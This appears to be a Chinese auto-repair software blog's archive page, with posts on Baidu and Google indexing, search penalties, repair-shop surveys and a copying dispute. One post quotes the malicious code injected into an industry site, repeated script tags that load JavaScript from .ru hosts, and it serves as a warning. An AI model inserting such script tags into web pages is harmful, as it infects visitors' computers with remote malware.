百度先生:你在看谁家的黄脸婆?(关于百度收录策略)

来自:汽车维修管理软件博客,原文: 看不懂的百度收录策略

近半年的收录策略的调整,包括百度和谷歌都有很大改变。如果你是站长的话肯定对最近这些调整也有体会。

首先,百度收录快、收录多,谷歌收录慢、收录少,这种局面完全是调过来了。百度近最近半年对新站的收录都比较慢,而且页面不容易收录,对于质量不太高的文章K得很快,整站K掉是常有的事情。经常逛一些站长有关的论坛就知道。

其次,因为百度与谷歌技术上的差距,百度对一些站点的页面无法收录到。所以有很多站的整站收录数百度的要比谷歌少。谷歌开始更看重时效性,对于新的文章以最快的速度收录,这一点改变主要是针对博客,并且是普通的博客。比如我在汽车修理厂管理博客上发表文章,只需要几分钟就可以收录。这一点对百度来说,几乎是不可能完成的任务。当然,对于大站,百度和谷歌都是比较实时的收录,因为这些站有常驻的搜索蜘蛛。

据说,百度因为硬件设备的配置储备不够,面对目前互联网信息的爆发性质的增长完全准备不足,所以收录容量有限,百度面对这个问题不得收紧收录策略,对一些权威性不够,站点质量不高,文章质量也不高的站点不收录,同时也在大量的K站。

在文章做百度竞价可以改变百度收录问题吗?中说到:
话说到百度空间的收录问题,对于其它门户博客的收录都不断的增长。百度先生不知道在偷窥谁家的黄脸婆,总觉得别家的长得比自家的好看,质量比自家黄脸婆 好。所以百度空的收录一直都是下降,一年前就不止收录300万了,现在还是200万左右浮动。一年的时间,一千万的百度空间用户,这一年来难道什么都没写 吗?如此鄙视百度空间的用户!百度先生是不是该回家好好反省一下了??

百度为什么要喜欢别人家的黄脸婆?这无法看懂。关于黄脸婆的故事请看这里:你在看谁家的黄脸婆

看看目前百度对于百度空间都在收录什么吧,site:hi.baidu.com/一下,结果让我大跌眼界!第一篇文章是空的,第二篇也是“主 页博客相册|个人档案 |好友 文章列表 暂无文章。”如此的内容,第三、第四、第五……一直第47页,也就是说前面470篇文章都是无内容的页面。百度收的垃圾都放在前面去了。接下来的 47页里面那些文章打开来也是寥寥几字的小朋友写的。如果从空间的名称来看,前面47页绝大部分都是小朋友的空间。

百度空间中“暂无文章”是什么意思呢?原因有两个:一是之前写过文章,后来自己删除了,或者作者把它隐藏了。二是作者写了百度认为不符合百度空间协议的文章,百度把它删除或者屏蔽了。从百度快照来看,在抓取时就已经不存在了。

百度空间内“暂无文章”的例子当然不止那几百篇,那几百篇只是排在前面的活生生的例子。从第一个原因来说,这些小朋友会不约而同的把它删除或者隐藏了吗?完全不合理的推断。第二个原因:作者都是小朋友,不可能写出有违反百度空间协议明令禁止的文章。是不是还有第三种原因,百度认为他们是脑残一代写出来都是脑残文章,把它们统统删除掉,免得影响和谐。关于什么是脑残 非主流点这里。

“暂无文章”的问题扯远了,但是百度为什么要收录这些不符合百度收录指面的垃圾页面?实在是看不懂!

发表在 google应用及研究, 百度搜索引擎研究, 社会百态 | 标签为 , , , , , , , | 留下评论

汽车维修行业在反垄断法实施下有多少影响?

转载自:http://luoyuauto.blog.sohu.com/96074865.html

《反垄断法》今天昨天就正式实施了,这本应是件令人欢欣鼓舞的事。

关于新法对汽车业的诸多利好,业内已经探讨得很深入了,除了取消最低限价、允许跨区销售外,也曾有媒体一言以蔽之,称《反垄断法》最大利好是打破零部件销售的垄断。

果真如此么?

《反垄断法》第三章第十七条第四款规定:没有正当理由,限定交易相对人只能与其进行交易或者只能与其指定的经营者进行交易。这将适用于零部件维修也将不一定只能到指定地点去维修,可以自行选择有实力、有条件且方便的维修站。

此前,为了保证售后服务的高利润,汽车厂商制定了零部件供应销售不外流的政策,以保证修车如果要买真零部件就必须到 厂家授权汽车4S店。当然,汽车4S店的零部件价格厂家自己说了算,消费者没有选择。这样的一个后果是,国内市场汽车的销售价格已经非常靠谱,但售后价格依然高得 离谱。

汽车厂家零部件垄断供应的另一个结果就是,基本扼杀了汽车维修厂生存的空间,几年下来,放眼望去,成规模的汽车修理厂基本消失。消费者只有两种选择:要么认宰;要么去换假冒零部件。

在目前汽车整车销售利润趋薄的状况下,零部件的销售和汽车的维修已经成为汽车生产厂商与4S店的最大利润点。所以,要想配件价格低,维修费透明,就必须打破4S店的垄断局面。

在不少媒体眼里,《反垄断法》的施行,可望能够使汽车的售后与维修出现一个新局面。

可是细想一下,我认为现在下“《反垄断法》最大利好是打破零部件销售的垄断”的结论为时尚早。

因为单靠一纸《反垄断法》恐怕难以根治汽车维修的许多潜规则。

比如零部件配售,此前厂家的纯正部件只提供给下属的4S店,虽然有垄断之嫌,但这也客观上保障了汽车维修和保养的质 量。试想路边小店即使是在《反垄断法》的干涉下能够拿到厂家提供的纯正零部件,又有多少消费者敢于相信其真假呢?即便零部件是真的,又有多少消费者敢于信 任其装配水平呢?

消费者真要以为反垄断了,大可放心地在非4S店渠道修车了,就算是出了问题,仍可以找《反垄断法》来解决,那可就遭罪了,因为在新法根本找不到相应的配套措施。对于具体执行法律的机构和执行程序,规定太笼统。对于具体执行机构的权限、涉及的范围以及程度、与其他行政执法部门的关系等均没有涉及。

除非在汽车维修领域出现了像国美、苏宁之类的连锁巨无霸,否则厂家“厂大欺4S店”、4S店“店大欺客”的现象,还将在未来相当长的一段时间内存在。 (by danieluo)

更多汽车维修和反垄断法新闻点此

发表在 汽车维修资讯 | 标签为 , , , | 留下评论

浏览汽车维护与修理网请用最安全的浏览器Firefox!

汽车维护与修理网相信很汽修行业的人士都知道,这个网站有大量的汽车维修行业最新资讯,大量免费的汽车维修技术资料,还有汇聚大量的汽修专业人员的维修论坛。但是这样一个行业性网站的安全性却是很令人担忧。特别是对汽修行业的人士来说,浏览汽车维护与修理网的某些页面将带来安全性问题,我们上网除了装好防火墙、杀毒软件外,还要用一个安全又速度快的浏览器,最好的选择是Firefox!关于Firefox的优点请看此文:速度快,防病毒,就要用火狐浏览器!

为什么要提出这个建议,请看来自汽车维修管理软件博客的文章:

接前文:汽车维护与修理网被谷歌惩罚,结果很严重!
发现汽车维护与修理网被谷歌惩罚之后,在我的积极建议之下,汽车维护与修理网做了商业广告部份的链接的标注。关于通过买卖链接来传递PageRank的解决方法比较简单, 解决方法:为了遵循谷歌的质量准则,买卖链接应通过”rel=nofollow”或其他技术来屏蔽,网站经过调整之后再谷歌申请审核,方法请看:使用网站管理员工具申请重新审核

不知道汽车维护与修理网管理员有没有作申请重新审核之类的工作,但是我在我的谷歌管理员工具中作了一次解除连带性惩罚的申请,内容中提到了www.autorepair.com.cn的改进之处,间接的帮了汽车维护与修理网一把。今天site:www.autorepair.com.cn的结果也为961了。汽车维护与修理网终于解放出来了。但是查询结果中还有这此安全警告:

汽车维护与修理网

该网站可能含有恶意软件,有可能会危害您的电脑。
汽车轮胎使用隐患令人担忧. http:/www.autorepair.com.cn&nbsp2008-7-28 11:01:43 张煦. 2008年“关注轮胎,关注行车安全”全国轮胎安全检测活动,刚刚公布了北京站的
www.autorepair.com.cn/jianxiu/showtext.asp?cartextid=683 – 6小时前

网站被挂上恶意软件之类的木马、病毒等,这就很严重了。被怀疑参与了涉嫌买卖链接的交易,还有木马,网站的信誉度无法让谷歌接受,惩罚在所难免。相比百度,谷歌在维护用户的安全性问题方面,做得百度强多了。

查看了一些页面,攻击汽车维护与修理网,并种木马的人超级恶心!看下面的代码:
<script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.b4so.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.oics.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script>

用IE打开这个网站的话,中招后,这台电脑还能用吗?差不多就死翘翘了。
用Firefox的话,上面的危险代码是不能执行的。为了你的电脑安全,在浏览汽车维护与修理网请用最安全的浏览器Firefox。

汽车维修管理软件博客中更多Firefox的信息请点此
有关汽车维护与修理网的更多信息请点此
免费汽车维修资料(汽车维护与修理杂志2007第9期内容介绍)免费下载。

原文:汽车维护与修理网与恶意软件有染,浏览汽车维护与修理网请用最安全的浏览器Firefox!

发表在 google应用及研究 | 标签为 , , , , , , | 留下评论

汽车维护与修理网让谷歌很生气,结果很严重!

转自原文:汽车维护与修理网被谷歌惩罚,结果很严重!

如果你是搜索”汽车维护与修理网”进入本文的,请访问: http://www.autorepair.com.cn进入原站。

前文:PR更新了,看你的更新了没有?评论中提到http://www.autorepair.com.cn变成0了,这绝对是一个惩罚的结果。汽车维护与修理网是一个行业性质的网站,是由中国汽车维修行业协会、汽车维护与修理杂志社主办的网站,拥有足够的权威度,也有比较优质的外部链接。即使是如此,也遭到谷歌的保证搜索质量的大棒无情的抽 打。

据我猜测被惩罚的原因是:可能被某些站长举报“汽车维护与修理网”参与了涉嫌买卖链接的交易。当然这可能不是唯一,如果有其它为推广网站,但违反谷歌官方的质量指南的建议,也会受到惩罚。

汽车维护与修理网被谷歌惩罚的结果是很严重的,除了降PR为0外,还被清除出谷歌的索引,请看:site:www.autorepair.com.cn的结果也为0了。谷歌一下:汽车维护与修理网都导向其它网站去了,这个损失也是很严重的。

按照谷歌官方的说法:http://www.googlechinawebmaster.com/2007/12/pagerank.html
但是如果一个网站管理员选择买卖链接以操纵搜索引擎排名,我们保留保护我们的索引质量的权利。通过买卖链接来传递PageRank违反了我们的站长指南。这种链接会损害我们搜索的相关性而造成:

– 失实:虚假的流行性以及不是基于实际价值、相关性、或权威性的链接
– 不平等:谷歌的有机搜索结果会变成让钱包最鼓的网站占有不公平的优势

解决方法:为了遵循谷歌的质量准则,买卖链接应通过”rel=nofollow”或其他技术来屏蔽,例如,重定向到一个在robots.txt中被禁止索引的页面。网站所有者可以停止违背网络管理员指南的行为,并在谷歌的站长中心控制台提交复议请求。在提出复议请求之前,请确保所有售出的链接不再传递PageRank或者删除它们。

当然,汽车维护与修理网上面的链接应该说全部都是行业相关性的网站,对“失实”的说法应该是不合理的。如果是买卖链接,那也应该是商业广告,至于传递PageRank当然也有广告主的真实意图。

惩罚还可能是连带性质的,相关的网站也可能被降权,这对买方来说就不太公平了,有些买方只是为了带来流量、提高知名度而已。

相关搜索:

汽车修理 汽车维护与修理网 汽车维护与修理杂志 汽车维护与修理杂志社 变频器应用维护与修理
汽车维护修理网 汽车维护和修理 汽车维护与保养 汽车维护与维修 汽车维护与维修网

相关文章:
汽车维护与修理杂志第七期(电子杂志内容介绍和下载)
汽车维护与修理技术资料杂志第八期内容介绍|免费下载

发表在 google应用及研究 | 标签为 , , , , , , , | 留下评论

汽车修理厂如何提高竞争力?

接前文:车主选择汽车维修店考虑的因素有哪些?

如何提高竞争力?有自己的竞争优势才算有竞争力,显然发挥竞争优势是提高竞争力的必经之路。竞争优势有哪些?比如:一、有自己的核心技术,别的厂修不好的,你的厂可以修好;并且核心技术有一定的门槛,并不容易被竞争对手赶超。二 、车主最需要的服务。三、别人不愿意做的服务。四、别人做得没有你好的地方。竞争优势是最廉价的成本,但是能创造最大的利润!

下文为汽车修理厂普通存在的问题,数据来源于浙江省汽车维修行业现状调查报告。汽修厂管理者可以从中考虑哪些可以成为你的竞争优势。

汽修行业的普遍存在的一个通病,主要表现在有些汽修经营者为牟取暴利,在维修中常出现以旧充新、以次充好、虚报维修项目、擅自抬高零部件价格和拿回扣等损害消费者利益的行为。

诚信应该是每一个企业的核心价值观,没有核心价值观的企业不用谈什么竞争力了。

1.近半数被调查者表示对汽车维修行业信不过。调查发现,认为汽车维修行业“完全信得过”的只有136位,仅占总数的7.4%;选择“基本信得过” 的有861位,占46.6%;选择“有些信不过”的有821位,占到44.4%;选择“完全信不过”的也有47份,占2.5%。从总体上分析,对于汽车维 修行业很多被调查者都觉得不是很可靠。如图:

  最常见的问题是虚报维修项目,有933位消费者如此认为,占50.5%;其次是擅自抬高配件价格较为常见,有827位,占44.8%;第三是以 旧充新、以次充好问题,有791位,占42.8%;第四为偷换零件、留下隐患问题,有539位,占29.2%;随后是拿回扣问题,有278位,占15%; 其他的有87位,占4.7%。

2.根据统计,在杭州,被调查者把“以旧充新、以次充好”放在问题的第一位,把“虚报维修项目”问题放在第二位;在绍兴,则是“擅自抬高配件价 格”成为首要问题,“虚报维修项目”问题在其次;在金华,第一问题是“虚报维修项目”,第二是“以旧充新、以次充好”问题;在舟山,“虚报维修项目”问题 让多人烦恼,“擅自抬高配件价格”问题在其次。

3.被调查者普遍认为,汽车维修店最需要改进的地方是维修技术水平(1182份,占64%);其次需要改进的是配件质量(998份,占 54%);其它如服务质量(767份,占41.5%)、维修保证(723份,占39.1%)、价格优惠(832份,占45%)、明码标价(753份,占 40.7%)等软件硬件都应该随之跟上;另外,还要考虑到方便快捷性(350份,占18.9%)。

4.消费者到底需要什么样的汽修服务?这是每一个汽车维修店所需要了解和研究的课题。调查结果表明:消费者认为,汽车维修最应该有的附加服务是 要“店家能提供跟踪服务”,39%的消费者希望车子在维修保养后,在一定期限内,店家能够提供跟踪服务支持;(注:汽修厂在选择汽车维修管理软件时就应当考虑有没有回访跟踪的功能了。)

另外,“维修后有详细的维修清单”和“明确指 出汽车故障”也得到了消费者的有力支持,30.5%的消费者希望能在维修后拿到详细的维修清单,从而比较清楚地知道自己爱车的问题及解决情况;33.2% 的消费者希望维修厂家能够准确、客观地向他们指出汽车故障出在什么地方;另外,还有14.4%的消费者认为,汽车维修还应该添加“注意事项”的附加服务。显然详细又美观的维修清单也是车主选择汽修店的很重要的因素,汽修厂管理软件在这方面完全可以提升汽修厂的竞争力;软件的备注功能有助于车主明明白白的消费,安安心心的再进厂维修。

如果竞争对手都做到了,而你的没有做到,那就不止落后一个阶段了。汽车修理厂提高竞争力不是很难的事情,而作为汽车修理厂管理者只需要让自己的企业比竞争对手做得更好一点点,你就有了竞争优势。

发表在 汽车修理厂管理, 汽车维修资讯 | 标签为 , , , , , , | 一条评论

搞笑片:倒霉熊全集视频在线观看

轻松一下,看看搞笑片.听说这个<倒霉熊>有治疗抑郁症的功效.

更多倒霉熊全集视频在线观看:倒霉熊相关视频

发表在 社会百态 | 标签为 | 3条评论

车主选择汽车维修店考虑的因素有哪些?

本文转载浙江省汽车维修状况调查的报告。以下数据均来自此报告。

1.调查显示,有840名被调查者选择去4S店修车或保养,占总数的35.2%;选择专营维修店有862人,占总数的38.6%;选择个体路边店有116人,占总数的6.3%;另有88位消费者认为选择哪里修车无所谓,占总数的4.8%。

其中,绍兴有64%的被调查者选择4S店,35%选择专营维修店;在杭州,47%选择4S店,28%选择专营维修店;在金华,36.1%选择 4S店,58.2%选择专营维修店;在舟山,31.5%选择4S店,56%选择专营维修店。由此可见,各个城市消费者对于汽车维修店的选择相差较大,绍 兴、杭州消费者倾向于前往4S店维修保养,而在金华、舟山一半以上消费者选择去专营维修店。

2.在选择维修店的多个因素中,大部分被调查者选择了技术质量要过硬,排在第二位的是价格高低,第三则是服务态度。选择“技术维修和配件质量” 的有1462份,占79.1%;选择“价格高低”的有1068份,占57.2%;选择“维修速度”的有602份,占32.6%;选择“服务态度”有676 份,占36.6%;选择“交通便利”的有408份,占22.1%。

  在被调查者中,杭州消费者认为“维修技术和配件质量”十分重要,有92%的人都会将此作为选择维修店的重要因素,绍兴为69.6%,金华为 35.3%,舟山为65.5%。至于“价格高低”的因素,杭州消费者有61.2%认为需要考虑,绍兴为58%,金华为25.9%,舟山为53.75%。

3.调查问卷中还发现,有70.9%的被调查者愿意在固定的汽修店维修保养,认为这样比较可靠。而喜欢无固定修车地点的被调查者只占 29.1%。在各个城市中,“喜旧不喜新”的被调查者都比较多,除了舟山占50%之外,杭州、金华都有六成多比例,绍兴则更多,占87.7%。

4.对于“喜旧不喜新”的消费者来说,一家新的汽车维修店如果要吸引顾客,并不是仅凭广告就可以达到目的的。统计数据显示,受广告吸引的消费者 只有7.8%,朋友推荐占到30.4%,店面醒目、规模较大的因素也只占32.1%,而选择最多的则是离住处或单位较近,占总数的50.6%。

很多朋友搜索汽修厂如何拉客户,本文有一定的参考价值。

发表在 汽车修理厂管理, 汽车维修资讯 | 标签为 , , | 一条评论

SRG Clean Archives插件不能按月归档了

Yo2不知道怎么升级的?原先是Dagon Design Sitemap Generator这个插件不能生成网站地图,才换成SRG Clean Archives插件。最近谷歌网站管理员工具又报404错误了,原来是SRG Clean Archives插件生成的按月归档页面不存了,产生了404错误,只好又换回Dagon Design Sitemap Generator网站地图插件。现在的效果就如现在的网站地图一样,是按文章类别归档的。我还是觉得SRG Clean Archives插件生成的按月归档好看一些,层次分明,按月生成的树形。

这两个插件用起来都比较简单,YO2已经下载好了,只要到后台启用一下,再做一个页面,放入代码就行了。

希望YO2对插件方面能稳定一点,像这个问题换了插件后,原来的页面又不存在了,如果有外链的话又会有404错误的产生。

一个题外话:谷歌对导入链接的拼写错误也会反应在网站管理员工具上,不知道这算不算网站质量问题呢?这本身不是网站的质量问题,而是导入链接没写对,如果算在网站头上就有点冤枉了。

发表在 WordPress及维护日志 | 标签为 , , , | 2条评论

鄙视美萍软件大肆抄袭本博客文章的行为!

本汽车修理厂管理及软件博客右下角已经注明内容和版权申明:可用于非商业用途的自由转载,并以链接形式注明,违者必究!本博客保留追究责任的权利。

美萍软件作为同行竞争对手,大肆抄袭本博客文章的行为是可耻的。作为同行几乎原封不动的照搬本博客内容有损首佳软件的利益。抄袭过去的文章用于宣传自己的产品,这存在严重的利益冲突!同行在宣传自己产品时,参考竞争对手,这无可厚非,但是抄袭的太多了,就是无耻了。其它证据如下图片:

发件人 myweb

美萍软件的网站,关于行业新闻部分的文章多数是抄袭过来的,几乎没有什么原创,抄过来的东西文章标题加上美萍什么什么软件之类,又不注明文章来源,这是非常可恶,不尊重知识产权的可耻行业!
这些抄袭文章大部分来自本博客中汽车美容店管理及软件的分类目录:
汽车美容店管理及软件

这个分类的文章的网站地图如下:http://www.xiuli123.com/sitemap/?pg=4

其中文章:让用户使用软件变得简单是首佳汽修软件的目标被改成美萍汽修软件。

文章中的这段内容:

让我们的用户使用软件变得简单是我们的目标,美萍软件最近又做了哪些让软件变得简单的功能呢?

一、在增加用户时自动增加所有仓库的操作权限,不需要再做仓库设置才能有权限;如果需要去掉某些仓库,只要进行仓库权限设置就行了。

二、增加用户权限时默认增加相应模块的所有操作权限;如果需要限制某些权限只要再进行高级权限设置即可。

三、原先增加的材料管理费功能,新版本在安装完后,配件材料的管理费率为0,不需要再到APP文件里面设置了。

我就要问美萍软件了,你们真的做了这些工作吗?不是在欺骗用户吗?

发表在 社会百态 | 标签为 , , , , , | 3条评论

为什么我们的网站排名会降低?该如何处理?

近期发现很多在谷歌排名前列的关键字没有我的网站(http://www.whsjsoft.com)。比如汽修软件,这原本坐稳了第一名的关键字,只剩下两个博客。再比如:首佳汽修软件,这个关键字几乎是没有竞争对手的,因为只有我们提供这样的内容。这个关键字有很多个友情链接指向主页,排第一无可厚非的,但是现在也不见了排名?只有一个解释-网站被降权了!

Google黑板报文章:我的谷歌排名哪里去了?,文中重要摘要及我们的处理办法如下:

1、谷歌对某一网站惩罚的最常见的原因就是网站的网络作弊。在谷歌网站管理员指南 中,谷歌指出了如何设计网站,网站的内容应包含哪些,网站管理员必须了解哪些技术,并给出了网站的质量指南。任何违反网站质量指南的网站都被称为作弊网 站,并可能受到惩罚。在质量指南中,下列行为被认为是作弊:隐藏文本或隐藏链接;隐藏真实内容或欺骗性重定向;向谷歌发送自动查询;使用无关用语加载网 页;创建包含大量重复内容的多个网页、子域或域;针对搜索引擎制作的”桥页”,联属计划;制作会安装病毒、特洛伊木马或其他有害软件的网页。这些行为的共 性是,他们都是为搜索引擎而作,而不是为访问网站的用户而作。

被降权首先想到的是网站有没有作弊?是否符合谷歌网站管理员指南 中指导的建站要求?最近我们站都没有作过改动,主动作弊这种情况完全可以排除。因为在谷歌中排名一直很好,没有再作弊的必要。另外,关于重复内容,因为百度对我站(http://www.whsjsoft.com)的新闻内容页一直不收录,新闻页面是由带有两个参数的ASP页面生成的内容;后来为增加百度的收录特地加入网站导航页面,并将新闻内容转成静态的页面;但是谷歌等搜索引擎是可以收录的,所以等于是重复了一次内容。我们可以做的是:可针对谷歌设置robots.txt内容如下:

User-agent: googlebot
Disallow: /sitemap/index/
Disallow: /sitemap/index5/
Disallow: /sitemap/index4/
Disallow: /sitemap/index2/
Disallow: /sitemap/index1/

关于重复内容,还有一点也是很可疑的影响网站质量及可读性的;就是网站版权部分区域原先是每一个页面都是相同的,都从一个foot脚本中导入的。相同的版权说明的内容,在一定程度上也会造成网站内容的重复。现在将它改成栏目的导航功能,这一点重复就无关紧要了。

PR的传递和页面的重要程度的处理,也会影响网站排名,几乎每一个页都有相同的友情链接的内容,等于把页面本身的PR分散的传递到其它网站上,这似乎没有必要。

2、网络作弊的另一种行为是无效链接的利用。一些网站通过买卖链接,或利用其他网站的自助链接功能得到链接,或者干脆使用垃圾链接软件来得到完全无效的链接。这些短视行为影响了谷歌排名算法的正常运行。谷歌不得不调整算法对这些作弊的网站降权。在要求重新收录或找回排名前,用户必须移去违反网络管理员指南的内容,或检查自己的网站安全性能以保证没有被黑。对违反当地法律的内容也必须移去。被降权的网站必须撤掉不合理的链接。

昨日我作全站的死链接检查工作,发现好几个无效的对外链接,几百个可能是垃圾网站的引用通告,及几十个可通链接垃圾网站的留言。这些可能是我的网站排名会降低,并被降权的罪魁祸首!禁止接收引用通告,禁示游客发表留言,是治根又治本的办法。所以我们必须做的是把这些垃圾链接全部清除到一干二净,还必须做的是:汽车维修管理博客将禁止引用通告及游客留言功能

3、检测网站死链接,提高网站质量,另一种更精确的方法是利用谷歌的网站管理员工具注册并查询你的网站的信息。在谷歌网站管理员工具中会定期报告谷歌蜘蛛人在我们网站上抓取过程中发现的无效链接。有些死链接可以分析原网页代码找到错误把它修复。虽然有些死链接可能无法解释,无法修复;但是我们可以在robots.txt中增加禁止索引的规则。比如:

Disallow: /blog/commentedit.asp
Disallow: /blog/go.asp
Disallow: /Bs_UserReg.asp
Disallow: /javascript:VoteForm.submit()

这些不知来源的死链接,我们还是可以控制不抓取的。

4、网站的安全性。这不光是网站自身的安全性,还有对你的客户的安全性,我们的网站对访客是不是负责任的?

看此文:本网站被值入病毒代码,现已经恢复正常

前些天网站被恶意的值入病毒代码、指向恶意网站。这都是很严重的安全性问题。还好花费了一个小时就把恶意代码清除了,但是如果这个时候谷歌的蜘蛛人正好在抓取,那后果就是惩罚、降权处理。

5、其它建议如谷歌网站管理员中文博客:给网站管理员的建议:创建可利用的、可抓取的网站

做好了这些工作,希望谷歌能解除惩罚,并恢复我的排名。

发表在 google应用及研究, 百度搜索引擎研究 | 标签为 , , , , | 一条评论